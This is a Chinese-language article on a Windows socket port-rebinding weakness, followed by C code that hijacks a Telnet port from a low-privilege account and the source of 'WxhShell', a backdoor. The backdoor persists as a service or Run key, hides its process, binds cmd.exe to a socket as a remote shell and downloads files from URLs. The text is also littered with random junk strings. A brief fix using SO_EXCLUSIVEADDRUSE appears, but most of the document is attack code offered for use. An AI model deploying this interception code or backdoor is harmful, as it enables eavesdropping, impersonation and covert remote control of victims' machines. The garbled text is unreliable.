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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: zo1fUsK? s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @
b}-<~ OK
\9 ` saddr.sin_family = AF_INET; 0
.ck!"h} \ns}
M3 saddr.sin_addr.s_addr = htonl(INADDR_ANY); _*wlK;` )J
8mn* bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 4?c0rC< a@C}0IP) 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 v
`;Hd8 lXutZ<S[ 这意味着什么?意味着可以进行如下的攻击: R'^J#"[ aoGns46Y 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 tSVS ogGd C-^8;xd 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) r(g#3i4Q =RHIB1 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 @={
qy} j 5 bHzcv 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 :,.HJ[Vg& )eH?3"" 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 NOl/y@# q<cxmo0S 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 X#ud_+6x MSe>1L2= 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 .lGN
Fx K}p0$Lc #include }wC=p>zA #include Tz7|OV_W$ #include i4)]lWnd #include FaKZ|~Y
e DWORD WINAPI ClientThread(LPVOID lpParam); 7s0pH+ int main() )g ?'Nz { ?v&2^d4C*F WORD wVersionRequested; Z OqD.=O( DWORD ret; LRSt >;
M WSADATA wsaData; }synU]^7\ BOOL val; *56q4\1 SOCKADDR_IN saddr; Sd\oL*lN SOCKADDR_IN scaddr; {z@a{L:SC int err; Q'aVdJN, SOCKET s;
>j&k: SOCKET sc; Mz;KXP int caddsize; k>:\4uI|<\ HANDLE mt; &x/Z{ut DWORD tid; ,E2c9V' wVersionRequested = MAKEWORD( 2, 2 ); soA] f err = WSAStartup( wVersionRequested, &wsaData ); Q 34-a"6) if ( err != 0 ) { ;33SUgX printf("error!WSAStartup failed!\n"); VYQ]?XF3i return -1; 5L,q,kVS } .+~9
vH saddr.sin_family = AF_INET; '^tC |) )+f"J$ah //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 C-/+n5J Sre:l'. saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); -5@hU8B'a saddr.sin_port = htons(23); 1|$J> if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *nwH1FjH { w=thaF. printf("error!socket failed!\n"); s^/2sjoL return -1; $I9U.~* } nQG<OVRClS val = TRUE; &H2j3De //SO_REUSEADDR选项就是可以实现端口重绑定的 ?&POVf> if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 22 `e7 { e/$M6l$Q*4 printf("error!setsockopt failed!\n"); ONLhQJCb return -1; YOtzja]~ } 1vCVTuRF //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 0SJ(Ln`0K //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 c&"1Z/tR //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 h@Ix9!?+ jgBJs^JgYG if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) wIF)(t-): { \(U|& ret=GetLastError(); hfs QAa printf("error!bind failed!\n"); bUc++M return -1; {T3wOi } X @X`,/{X listen(s,2); 4hW:c0 while(1) tD]vx`0> { W 2A!BaH% caddsize = sizeof(scaddr); 5?TX.h9B4 //接受连接请求 'r}y{`3M sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); G_xql_QR if(sc!=INVALID_SOCKET) Jjh=zxR> { VgMuX3= mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); >n%ckL|rG if(mt==NULL) Kp6%=JjO { iGNZC{ printf("Thread Creat Failed!\n"); 1:4u]$@E break; h#uk-7 } Cm-dos } h2
>a_0" CloseHandle(mt); MF+F8h>/ } x/%/MFK)>8 closesocket(s); KD'}9{F, WSACleanup(); j{HIdP return 0; S0;s
7X#c } cK'}+ DWORD WINAPI ClientThread(LPVOID lpParam) ;>Z0e`= { I3 YSW SOCKET ss = (SOCKET)lpParam; 3
op{h6 SOCKET sc; Q>uJ:[x+ unsigned char buf[4096]; EH]qYF. SOCKADDR_IN saddr; && WEBQ long num; r`PD}6\ DWORD val; +SkfT4*U DWORD ret; ePTxuCf> //如果是隐藏端口应用的话,可以在此处加一些判断 >vNE3S_ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 K^%ONultv saddr.sin_family = AF_INET; HyIyrU rYW saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); `Nv7c{M^ saddr.sin_port = htons(23); KnUVR!H| if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !ZayN { P#AS")Sj printf("error!socket failed!\n"); HcHwvf6y return -1; vP,$S^7$ } O*c<m, val = 100; l@>@2CB if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /&yc?Ui { 8 LsJ}c ret = GetLastError(); OOzXA%<%c return -1; BKu<p< } B%z+\<3^q if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) l2kUa'O- { 5PE}3he: ret = GetLastError(); u3IhB8' return -1; RIFTF
R } LPkl16yZ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) |^gnT`+ { MK <\:g printf("error!socket connect failed!\n"); P5v;o9B& closesocket(sc); LVJn2t^ closesocket(ss); VhU,("&pm return -1; c+:^0&l } LmP pt3[ while(1) )&ucX {
g hW //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 eqqnR.0 //如果是嗅探内容的话,可以再此处进行内容分析和记录 ME*A6/h //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 S4
s#EDs num = recv(ss,buf,4096,0); </_.+c [ if(num>0) 0Q[;{}W} send(sc,buf,num,0); }`]Et99Q5 else if(num==0) lDZ~ break; l_zTpyOZ num = recv(sc,buf,4096,0); BVS
SO's if(num>0) >txeo17Ba\ send(ss,buf,num,0); 5e&;f else if(num==0) p,7?rI\N break; ~\ v"xV } -a7BVEFts closesocket(ss); d5n>2iO closesocket(sc); lF\2a&YRbn return 0 ; |?ZNGPt } ?)7UqVyq 2fP;>0? Ij:yTu ========================================================== @su!9 ]o l$m}aQ%h 下边附上一个代码,,WXhSHELL 7hT@,|(j NdC5w-WY ========================================================== j)#GoU=w 0KjCM4t #include "stdafx.h" D{JwZL@7k2 Nwk^r75l q #include <stdio.h> \Npvm49 #include <string.h> .>Fpk7 #include <windows.h> 877Kv); #include <winsock2.h> pMoza8 #include <winsvc.h> &5QvUn #include <urlmon.h> x|g2H.n %I@vM s^ #pragma comment (lib, "Ws2_32.lib") P|TM4i] #pragma comment (lib, "urlmon.lib") nY,LQ0r |Gr@Mi5 #define MAX_USER 100 // 最大客户端连接数 o 80x@ &A: #define BUF_SOCK 200 // sock buffer {HjJ9ZGQ #define KEY_BUFF 255 // 输入 buffer JI/iq 6#HnA"I2n #define REBOOT 0 // 重启 N3wy][bo #define SHUTDOWN 1 // 关机 {"db1Gbfg kA9 k^uR/ #define DEF_PORT 5000 // 监听端口 w^}*<q\ 2%)~E50U #define REG_LEN 16 // 注册表键长度 @)@tIhw #define SVC_LEN 80 // NT服务名长度 gOy{ RE o Va[ // 从dll定义API :c(#03w*C typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); l0tFj>q" typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); k;r[m,$ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); UI*&@!%bzp typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {a(<E8-^ bb$1zSA // wxhshell配置信息 'h[7AZ&)# struct WSCFG { Mo4c8wp&SM int ws_port; // 监听端口 @2TfW]6 char ws_passstr[REG_LEN]; // 口令 n2Q?sV;m int ws_autoins; // 安装标记, 1=yes 0=no x!u6LDq0 char ws_regname[REG_LEN]; // 注册表键名 e1hf{:&/G@ char ws_svcname[REG_LEN]; // 服务名 ,Bj]j -\Y char ws_svcdisp[SVC_LEN]; // 服务显示名 |7!B k$(vA char ws_svcdesc[SVC_LEN]; // 服务描述信息 $)'LbOe char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?',Wn3A int ws_downexe; // 下载执行标记, 1=yes 0=no \\35}
9 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" TV}=$\D char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^=qV)j Omph( }; ri4:w_/{,Y qJR8fQ // default Wxhshell configuration m/`L3@7Tt struct WSCFG wscfg={DEF_PORT, EF;B)y= "xuhuanlingzhe", .ZM0cwF 1, S(lqj6aa} "Wxhshell", ""h%RhcZ\ "Wxhshell", FA;B:O@:' "WxhShell Service", JvS
~.g1 "Wrsky Windows CmdShell Service", KVoM\ttP "Please Input Your Password: ", bnV)f< 1, TJuS)AZ
C " http://www.wrsky.com/wxhshell.exe", /mwDVP<z / "Wxhshell.exe" S5~(3I
)v }; a~zh5==QD D3y4e8+Z' // 消息定义模块 GE\({V.W char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %h
v-3L#V char *msg_ws_prompt="\n\r? for help\n\r#>"; R9UC0D:-x char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; V=c?V/pl char *msg_ws_ext="\n\rExit."; m~F ~9& char *msg_ws_end="\n\rQuit."; 0\+$j5; char *msg_ws_boot="\n\rReboot..."; ac8su0 char *msg_ws_poff="\n\rShutdown..."; 4x.I"eW~& char *msg_ws_down="\n\rSave to "; lE3&8~2 ozA%u,\7k char *msg_ws_err="\n\rErr!"; &09G9G snQ char *msg_ws_ok="\n\rOK!"; 7>-99o^W <f0yh"?6VH char ExeFile[MAX_PATH]; Z 2lX^z int nUser = 0; ]Nue1xV_ HANDLE handles[MAX_USER]; i'}"5O+ int OsIsNt; ?XVox*6K& m3|l-[!OA" SERVICE_STATUS serviceStatus; i(xL-&{ SERVICE_STATUS_HANDLE hServiceStatusHandle; zoj
w^%W ZT+{8, // 函数声明 Az/P;C= int Install(void); k0xm- int Uninstall(void); $=Tq<W*c int DownloadFile(char *sURL, SOCKET wsh); @FN1o4&3 int Boot(int flag); 8'u,}b) void HideProc(void); rEs!gGNN int GetOsVer(void); {wD "|K int Wxhshell(SOCKET wsl); F0'8n6zj void TalkWithClient(void *cs); ,u14R] int CmdShell(SOCKET sock); uC2 5pH" int StartFromService(void); +\J+?jOC4S int StartWxhshell(LPSTR lpCmdLine); .C1g Dry] pWKI^S VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $C8s VOID WINAPI NTServiceHandler( DWORD fdwControl ); q2M%AvR N]G`] // 数据结构和表定义 .G|U#%"6x SERVICE_TABLE_ENTRY DispatchTable[] = kZ!&3G9>- { }m S+%w"j {wscfg.ws_svcname, NTServiceMain}, d/E0opv {NULL, NULL} )7WLbj!M }; cN)noGkp 7s;*vd> // 自我安装 $-gRD|oY int Install(void) VC^QCuSq { RMAbu*D0 char svExeFile[MAX_PATH]; )(yKm/50 HKEY key; ]Yf8 strcpy(svExeFile,ExeFile); mQ\oR| v&` n}lS // 如果是win9x系统,修改注册表设为自启动 ^{-Z3Yxd if(!OsIsNt) { s$/Z+"f( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4rD&Lg' RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +^a@U^V RegCloseKey(key); Bc}e ??F if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;$UB@)7% RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x^
sTGd RegCloseKey(key); M\kct7Y return 0; ~%sNPKjA } KzB9
mMrO } bbWW|PtWwP } ?#L5V'ZZ* else { 4*Z>-<W= Zy6>i2f4f // 如果是NT以上系统,安装为系统服务 X{qa|6S,F SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 'WwD$e0= if (schSCManager!=0) 7Y^2JlZu= { 'zuA3$SR SC_HANDLE schService = CreateService Q5;EQ.# ( ts=+k/Z schSCManager, Tg v]30F) wscfg.ws_svcname, wA6<BujD wscfg.ws_svcdisp, weIlWxy SERVICE_ALL_ACCESS, 2O`s'&.h SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;zi4W1 SERVICE_AUTO_START, OPDRV\ SERVICE_ERROR_NORMAL, q_:B=w+bC svExeFile, -J++b2R\% NULL, 'zQp64]F NULL, Y>K3.*. NULL, q)]S:$?BT NULL, @ oFuX. NULL u~27\oj, ); ~<=wTns! if (schService!=0) 8uB6C0,6? { ~93+Oxg CloseServiceHandle(schService); 6Ou[t6 CloseServiceHandle(schSCManager); OI)/J;[-e strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {-s7_\|p( strcat(svExeFile,wscfg.ws_svcname); bd`}2vr if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Y^,G}
&p RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0j[%L!hny RegCloseKey(key); ~Yl%{1 return 0; o]0\Km } n^rzl6dy } $p.0[A(N CloseServiceHandle(schSCManager); S&~;l/ } @|9V]bk } AkBEE m# I return 1; |A:+[35 } "@&I*1& g=kuM // 自我卸载 L(3}
H,t int Uninstall(void) .T7S1C $HP { wTVd){q`. HKEY key; +p &$`( {IQCA-AI if(!OsIsNt) { Ga$EM if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @ {8xL RegDeleteValue(key,wscfg.ws_regname); v ce1'aW RegCloseKey(key); ]q@W(\I if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MJ`BlE,Fmb RegDeleteValue(key,wscfg.ws_regname); UC?i>HsJrX RegCloseKey(key); (k>I!Z/&2 return 0; YnX6U1/^ } I#](mRJ6 } gz`P~7-w: } 'U4@Sax, else { G+jcR; s bOdyrynh SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %hb!1I if (schSCManager!=0) /PtmJ2[ { <,(Ww SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7f
q\
H{ if (schService!=0) M1=y-3dW3 { #W=H)6 if(DeleteService(schService)!=0) { AO^c=^ CloseServiceHandle(schService); nV?e(}D CloseServiceHandle(schSCManager); j*@EJ"Gm> return 0; O.wk*m!9 } -'::$
{ CloseServiceHandle(schService);
ScTeh } H iDL:14 CloseServiceHandle(schSCManager); YBY!!qjPx } v/}hy$7 } C-L[" O0[ M9dUo7 return 1; |%7OI#t^ } N^By#Z "%{J$o // 从指定url下载文件 #wZBWTj. int DownloadFile(char *sURL, SOCKET wsh) uHpSE?y/ { Ke,$3Yx HRESULT hr; isV9nWo$ char seps[]= "/"; 9/R<, char *token; .eM
A*C~n char *file; X4:SH>U! char myURL[MAX_PATH]; uOnyU+fZV char myFILE[MAX_PATH]; +#0,2wR# ttC+`0+H strcpy(myURL,sURL); ~:lN("9OI token=strtok(myURL,seps); =[V while(token!=NULL) Z\P&i# { 9x[|75}l file=token; rD SUhO{V token=strtok(NULL,seps); PEHaH"|([= } 9W@Tf Fwv(J_'q GetCurrentDirectory(MAX_PATH,myFILE); fW.)!EPO strcat(myFILE, "\\"); p}R3AJ strcat(myFILE, file); qox31pnS send(wsh,myFILE,strlen(myFILE),0); %y}l^P5z send(wsh,"...",3,0); *L~88-V^ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Na2n4x! if(hr==S_OK) (.54`[2+L return 0; G9i?yd4n=B else (3M7 RpsL@ return 1; U `<?~Bz \%011I4 } S)[$F} tcU4$%H/ // 系统电源模块 Af _yb`W? int Boot(int flag) ^zVBS7`J {
[EU\- HANDLE hToken; 7ZRLSq'S TOKEN_PRIVILEGES tkp; 3"J85V%h]n B\}B
H if(OsIsNt) { U:o(%dk OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); V57tn6>b LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &fYV FRVkq tkp.PrivilegeCount = 1; -THU5AB tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; W6[# q%o AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); kan4P@XVS if(flag==REBOOT) { lwuslt*E/ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) N3}jLl/ return 0; X0QLT:J b } El)WjcmH else { (77EZ07% if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) E\!<= return 0; ,>Lj>g{~ } YKT=0 } hB)TH'R{: else { F ak"u'~ if(flag==REBOOT) { 4]$$ar) if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) E)=X8y return 0; B Ctm05 } +P?^Yx0d else { rFPfTpS if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) P<<hg3@ return 0; %[9d1F3 } U1wsCH3+n } x.OCE` sjISVJ? return 1; M)1?$'Aq } M(_1'2 oI6l `K$ // win9x进程隐藏模块 3\Ma)\>R\- void HideProc(void) sC=fXCGW\p { 7sci&!.2` hD5G\TR. HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $stBB if ( hKernel != NULL ) _Bh ^<D- { v)a$;P% pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ))qOsphN ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `zJTVi4 FreeLibrary(hKernel); ,,-g*[/3 } U[Pll~m2b Alsr6uLT1 return; </OZ,3J= } E4nj*Lp~+ Ew|VDD(. // 获取操作系统版本 #l!Sz247 int GetOsVer(void) /5y*ZIq]e { &Jr~)o OSVERSIONINFO winfo; >lRa},5( winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >%~%O`+ GetVersionEx(&winfo); ;be2sTo if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0m|$ vb return 1; W\tSXM-Hg else $1h , <$5H return 0; Y!8Ik(/~i } -2dk8]KB] <3;Sq~^ // 客户端句柄模块 `zjEs8`' int Wxhshell(SOCKET wsl) Q9`}dYf. { ]y:ez8RFPU SOCKET wsh; q~^qf struct sockaddr_in client; nbpGxUF`] DWORD myID; ].j;d2xT\ m&H@f: while(nUser<MAX_USER) #sOkD { ItZqLUJm int nSize=sizeof(client); Fnnk}I} wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1%?J l~M if(wsh==INVALID_SOCKET) return 1; :CQ-?mT^LA _dT,%q handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); W+&w'~M if(handles[nUser]==0) ~
cKmf] closesocket(wsh); eJ+uP,$ else }K!)Z}8 nUser++; b-1cA1#_cP } !NNq( t WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); dJZMzn J~6-}z return 0; >&|C
E2' } _7AR2 BnLM ;5
> // 关闭 socket ?(&)p~o void CloseIt(SOCKET wsh) /5ngPHy& { 36<PI'l#~ closesocket(wsh); O43emL3 nUser--; #)aUKFX ExitThread(0); iI27N'g } liW0v!jBo qeK_w
' // 客户端请求句柄 V Q6&7@
c void TalkWithClient(void *cs) <$^76=x,8P { &uh|!lD ;E8.,#/a SOCKET wsh=(SOCKET)cs; =AhXEu ^ char pwd[SVC_LEN]; 6n{`t/ char cmd[KEY_BUFF]; ~mqiXr8 char chr[1]; `g2DN#q[0 int i,j; `wJR^O!e 6]=R#d 7U while (nUser < MAX_USER) { ,qS-T'[v,( Hoaf3
`n if(wscfg.ws_passstr) { ?h;Zdv>`xz if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~bp^Q|
wM //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jpl"KN?X //ZeroMemory(pwd,KEY_BUFF); H1]An'qz, i=0; wt;7+ while(i<SVC_LEN) { vjy 59m yw|O,V<4N // 设置超时 3x=f}SO& fd_set FdRead; <+1d'VQ2 struct timeval TimeOut; vI<n~FHt FD_ZERO(&FdRead); >a@c5 FD_SET(wsh,&FdRead); 9oly=&lJ TimeOut.tv_sec=8; <q
V<dK&W TimeOut.tv_usec=0; Gz]p2KBg int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `u%`Nj if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c~B[<.Qj <1HbjRw if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nu1s pwd =chr[0]; B 4pJg if(chr[0]==0xd || chr[0]==0xa) { R^`# xQ pwd=0; S\"/=|\ break; ZGUhje! } G+^Q
_w i++; VP|ga}( } EkV
LSur #K8kz // 如果是非法用户,关闭 socket g1JBssw&m if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >4gGb) } Y)kO" :G/T{87H send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,&Iw5E[ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K:!|xr(1d `'Fz:i while(1) { A4lh`n5% -6(u09mb_ ZeroMemory(cmd,KEY_BUFF); )z'LXy8 [FHSFr
E,5 // 自动支持客户端 telnet标准 Q+
r4 j=0; 1(z&0Y ; while(j<KEY_BUFF) { t(-`==.R if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J. ;9- cmd[j]=chr[0]; >wiW(Ki} if(chr[0]==0xa || chr[0]==0xd) { A
%iZ_h^ cmd[j]=0; 9%>GOY break; [whX),3> } l6^IX0&p j++; f;<qGM.#| } 4{?Djnh 3g!tk9InG // 下载文件
UADD 7d if(strstr(cmd,"http://")) { oe<9CK:?> send(wsh,msg_ws_down,strlen(msg_ws_down),0); "*E#4e[ if(DownloadFile(cmd,wsh)) Rf)lFi send(wsh,msg_ws_err,strlen(msg_ws_err),0); & 5!.!Z3 else :"Vfn:Q send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Uq0GbLjv" } qJ).;S{AAt else { r=Up-(j PNwXZ/N% switch(cmd[0]) { -e6~0%X N/ 7Q(^ // 帮助 E1(2wJ-3" case '?': { 2!Ip!IQ: send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ZJCD)?]=3 break; ZP>KHiA } >7yOu!l // 安装 >syQDB case 'i': { HmWU;9Vn+ if(Install()) h,-8(
S send(wsh,msg_ws_err,strlen(msg_ws_err),0); s8,N9o[.~P else [42vO send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P`JO6O:& break; kPt9(E] } %UEV['= // 卸载 a2l\B ~n case 'r': { g3r4>SA if(Uninstall()) ~NYy@l send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q;m:o8Q5 else #/u% sX`#y send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &/K:zWk3mx break; ?&Zfb } }cov"o // 显示 wxhshell 所在路径 }}AooziH9 case 'p': { aJ[K' 5| char svExeFile[MAX_PATH]; >j [> 0D strcpy(svExeFile,"\n\r"); YzTmXwuA5 strcat(svExeFile,ExeFile); F`W8\u'db send(wsh,svExeFile,strlen(svExeFile),0); 739J] M break; "I"(yiKD } 35}{dr // 重启 y H\z+A| case 'b': { %nU8 Ca send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); s bf\;_! if(Boot(REBOOT)) K!|%mI8gk send(wsh,msg_ws_err,strlen(msg_ws_err),0); wB(A['k else { K8,fw-S% closesocket(wsh); eK%~`Y ExitThread(0); }]0f -} } h^{D " break; 3B }Oy$p } ,uEi*s> // 关机 vA(V.s` case 'd': { .8[Db1W send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +bi%4DA if(Boot(SHUTDOWN)) r^<W$-# send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?k$3( - else { PCxv_Svf closesocket(wsh); iqCZIahf ExitThread(0); dA;f`Bi;Q } pNY+ E5 break; !{@!:m3w } d|UK=B^x // 获取shell Za+26#g case 's': { -"u9s[L{ CmdShell(wsh); ; Drt4fOxX closesocket(wsh); -p|@En n ExitThread(0); 577H{;pW break; /ESmQc:DWB } yFp8 > // 退出 Gy*6I)l case 'x': { hhu!'(j send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Isa]5> CloseIt(wsh); *ujn+0)[ break; `WDN T0@M } _e/>CiN/ // 离开 -J?i6BHb case 'q': { n@9*>DU send(wsh,msg_ws_end,strlen(msg_ws_end),0); E9=a+l9 closesocket(wsh); ZqaCe> WSACleanup(); ;x.xj/7 exit(1); sxq'uF(K break; $0[T=9q <+ } MjIp~?* } tOn_S@/r } n !ty\E L_Q1:nL-0 // 提示信息 'Wv=mBEfZ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
Do3;-yp>` } -\mbrbG9H } 3c<).aC0f FsrGI
(x? return; k@qn'Zi } L&td4`2y ]|cL+|':y // shell模块句柄 !(=bH"P int CmdShell(SOCKET sock) b[<Q_7~2 { v#EXlpS STARTUPINFO si; =i jGB~ ZeroMemory(&si,sizeof(si));
r"s
<; si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; P$MAURFm si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Yrb[:;Y PROCESS_INFORMATION ProcessInfo; a=LjFpv/] char cmdline[]="cmd"; rYI9?q CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^:Vwblv( return 0; tWkD@w`Lnn } $E;`Y|r%WK q5il9*)d( // 自身启动模式 V!=1 !"}OG int StartFromService(void) AhOvI{ { rSU%!E+|< typedef struct ;qT~81 { KD]8n]c DWORD ExitStatus; %a-:f)@ DWORD PebBaseAddress; Jq1 Zb DWORD AffinityMask; !QoOL<(){ DWORD BasePriority; k8E'wN ULONG UniqueProcessId; ZRYs7 4< ULONG InheritedFromUniqueProcessId; uVJ;1H! } PROCESS_BASIC_INFORMATION; wTBp=)1)f q7-Eu4w PROCNTQSIP NtQueryInformationProcess; uQ4WM Z2d,J>- static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $_,?SXM static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; SdF*"]t so h3d HANDLE hProcess; Fxwe, PROCESS_BASIC_INFORMATION pbi; '\ec ,&4Z "y@B| HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |sWH!:]49 if(NULL == hInst ) return 0; D@T>z; { Z<4 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); F5Tah{ g_pGetModuleBaseName = 